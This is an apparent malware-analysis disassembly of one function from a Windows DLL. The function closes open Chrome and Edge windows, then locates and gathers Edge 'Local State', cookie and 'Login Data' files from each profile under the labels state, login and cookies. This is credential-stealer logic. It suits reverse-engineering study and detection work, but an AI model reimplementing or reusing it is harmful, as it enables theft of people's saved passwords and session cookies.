Function at 0x1800809f8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa20]
sub rsp, 0xb20
mov r14, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x3d0]
call fcn.1800ab840
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor r15d, r15d
test eax, eax
je 0x180080a5a
xor eax, eax
jmp 0x180082aaf
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_GetWindow]
mov esi, 2
lea r13d, [rsi + 6]
lea r12d, [rsi + 0xe]
jmp 0x180080b3e
lea rdx, [rbp + 0xa68]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rbp + 0xa68]
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x5e0], 0x438
lea rdx, [rbp + 0x5e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x610]
call fcn.1800c3b54
test eax, eax
jne 0x180080af3
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
cmp eax, 1
jne 0x180080af3
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.msedge.exe
lea rcx, [rbp + 0x610]
call fcn.1800c3b54
test eax, eax
jne 0x180080b2a
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
cmp eax, 1
jne 0x180080b2a
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindow]
test rax, rax
mov rbx, rax
jne 0x180080a80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x110]
call fcn.1800c3930
lea rcx, [rbp + 0x110]
call fcn.1800c1d9c
mov rbx, rax
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r15b
lea rdx, str.P_gA2JHyP7QkaGbv346
lea rcx, [rbp + 0x60]
call fcn.18000572c
nop
mov edx, dword [rbx + 0x14]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080baf
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov edi, 0x1000
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080bfa
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080bf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ad0
call fcn.180089bf0
mov edx, dword [rbx + 0x10]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080c14
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080c5a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080c55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ad6
call fcn.180089bf0
mov edx, dword [rbx + 0xc]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080c74
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080cba
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080cb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082adc
call fcn.180089bf0
mov edx, dword [rbx + 8]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080cd4
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080d1a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ae2
call fcn.180089bf0
mov edx, dword [rbx + 4]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080d34
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080d7a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080d75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ae8
call fcn.180089bf0
mov edx, dword [rbx]
lea rcx, [rsp + 0x50]
call fcn.180001528
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180080d93
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1800057a8
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080dd9
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080dd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082aee
call fcn.180089bf0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r15
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x40]
call fcn.180005820
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180077af8
lea rcx, [rbp + 0x60]
cmp rcx, rax
je 0x180080e18
mov r8b, r15b
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1800058c4
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180080e50
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180080e4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082af4
call fcn.180089bf0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov eax, 7
mov qword [rbp - 0x58], rax
mov word [rbp - 0x70], r15w
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], rax
mov word [rsp + 0x70], r15w
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rax
mov word [rbp + 0x20], r15w
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rbp + 0x20]
call fcn.18000564c
mov ebx, 0x20
mov r8d, ebx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r15w
lea rdx, str.ataLocal_State
lea rcx, [rbp - 0x40]
call fcn.1800056b0
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.ftEdgeUser_D
lea rcx, [rsp + 0x30]
call fcn.1800056b0
nop
mov qword [rbp + 0x40], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rbp + 0x50], xmm0
mov word [rbp + 0x40], r15w
lea rdx, str.Microso
lea rcx, [rbp + 0x40]
call fcn.1800056b0
nop
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.180012138
nop
lea r8, [rbp - 0x40]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180012138
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080f98
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.180011c58
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
nop
lea rcx, [rbp + 0xb0]
call fcn.18000564c
nop
lea rcx, [rbp + 0x40]
call fcn.18000564c
nop
lea rcx, [rsp + 0x30]
call fcn.18000564c
nop
lea rcx, [rbp - 0x40]
call fcn.18000564c
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], r13
cmovae rdx, qword [rbp + 0x20]
call fcn.18007bfa0
test eax, eax
je 0x180081d6a
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rbp - 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.MicrosoftEdgeUser_DataDefaultNetworkCookies
call fcn.1800b7c58
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultNetworkCookies
lea rcx, [rbp - 0x70]
call fcn.180011c58
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rsp + 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
call fcn.1800b7c58
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.180011c58
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rdx, qword [rbp - 0x70]
call fcn.18007bfa0
test eax, eax
je 0x1800815e3
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rdx, qword [rsp + 0x70]
call fcn.18007bfa0
test eax, eax
je 0x1800815e3
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
nop
lea rcx, str.MicrosoftEdgeUser_DataDefaultNetwork_
call fcn.1800b7c58
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultNetwork_
lea rcx, [rsp + 0x30]
call fcn.180011c58
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r13
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.180086fa8
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r12
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.1800057a8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x40]
call fcn.180086fa8
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800844fc
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, r12
jb 0x180081229
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x180081224
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082afa
call fcn.180089bf0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r15b
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x170]
call fcn.180083524
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x170]
call fcn.180083660
lea rcx, [rbp + 0x290]
call fcn.180086218
test rax, rax
jne 0x18008129d
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
lea rcx, [rbp + 0x178]
call fcn.180086218
test rax, rax
jne 0x1800812dd
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov ecx, 0x60
call fcn.180089bb4
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r13
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x180105f10]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
lea rdx, str.state
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x1800813d8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1800813d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b00
call fcn.180089bf0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rcx, qword [rsp + 0x70]
mov rax, qword [rbp - 0x80]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x180105f10]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
lea rdx, str.login
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x1800814b0
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1800814ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b06
call fcn.180089bf0
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x180105f10]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
lea rdx, str.cookies
lea rcx, [rbp - 0x20]
call fcn.18000572c
nop
mov qword [rbp], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rbp]
call fcn.180005820
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x18008152a
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.18008481c
add qword [r14 + 0x40], r12
jmp 0x18008153b
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.18008725c
nop
lea rcx, [rbp - 0x50]
call fcn.1800135e0
nop
lea rcx, [rbp + 0x218]
call fcn.1800834a4
nop
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x218], rbx
lea rcx, [rbp + 0x218]
call fcn.180088cec
nop
lea rcx, [rbp + 0x330]
call fcn.18008447c
nop
mov qword [rbp + 0x330], rbx
lea rcx, [rbp + 0x330]
call fcn.180088cec
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, r12
jb 0x1800815c4
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x1800815bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b0c
call fcn.180089bf0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
lea rcx, [rsp + 0x30]
call fcn.18000564c
mov ebx, 0x20
mov edi, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rbp - 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800aaec0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.MicrosoftEdgeUser_DataProfile
call fcn.1800b7c58
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataProfile
lea rcx, [rbp - 0x70]
call fcn.180011c58
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.18000ccfc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x18008167d
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.180011c58
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rcx, str.NetworkCookies
call fcn.1800b7c58
mov r8, rax
lea rdx, str.NetworkCookies
lea rcx, [rbp - 0x70]
call fcn.180011c58
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rsp + 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.1800aaec0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
lea rdx, str.r_DataProfile
lea rcx, [rbp - 0x40]
call fcn.1800056b0
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdgeUse
lea rcx, [rsp + 0x30]
call fcn.1800056b0
nop
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.180012138
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180081783
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x70]
call fcn.180011c58
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
nop
lea rcx, [rsp + 0x30]
call fcn.18000564c
nop
lea rcx, [rbp - 0x40]
call fcn.18000564c
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.18000ccfc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x1800817cb
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x70]
call fcn.180011c58
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rcx, str.Login_Data
call fcn.1800b7c58
mov r8, rax
lea rdx, str.Login_Data
lea rcx, [rsp + 0x70]
call fcn.180011c58
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rdx, qword [rbp - 0x70]
call fcn.18007bfa0
test eax, eax
je 0x180081d58
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rdx, qword [rsp + 0x70]
call fcn.18007bfa0
test eax, eax
je 0x180081d58
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
nop
lea rcx, str.MicrosoftEdgeUser_DataProfile
call fcn.1800b7c58
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataProfile
lea rcx, [rsp + 0x30]
call fcn.180011c58
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.18000ccfc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x18008189f
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x30]
call fcn.180011c58
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rcx, str.Network_
call fcn.1800b7c58
mov r8, rax
lea rdx, str.Network_
lea rcx, [rsp + 0x30]
call fcn.180011c58
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r13
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.180086fa8
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r12
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.1800057a8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x40]
call fcn.180086fa8
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800844fc
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, r12
jb 0x180081995
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081990
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b18
call fcn.180089bf0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r15b
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x170]
call fcn.180083524
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x170]
call fcn.180083660
lea rcx, [rbp + 0x290]
call fcn.180086218
test rax, rax
jne 0x180081a09
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
lea rcx, [rbp + 0x178]
call fcn.180086218
test rax, rax
jne 0x180081a49
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov ecx, 0x60
call fcn.180089bb4
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r13
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r15b
lea rdx, str.state
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180081b47
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081b42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b1e
call fcn.180089bf0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rcx, qword [rsp + 0x70]
mov rax, qword [rbp - 0x80]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r15b
lea rdx, str.login
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x180081c22
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081c1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b24
call fcn.180089bf0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r15b
lea rdx, str.cookies
lea rcx, [rbp - 0x20]
call fcn.18000572c
nop
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rdx, [rbp - 0x40]
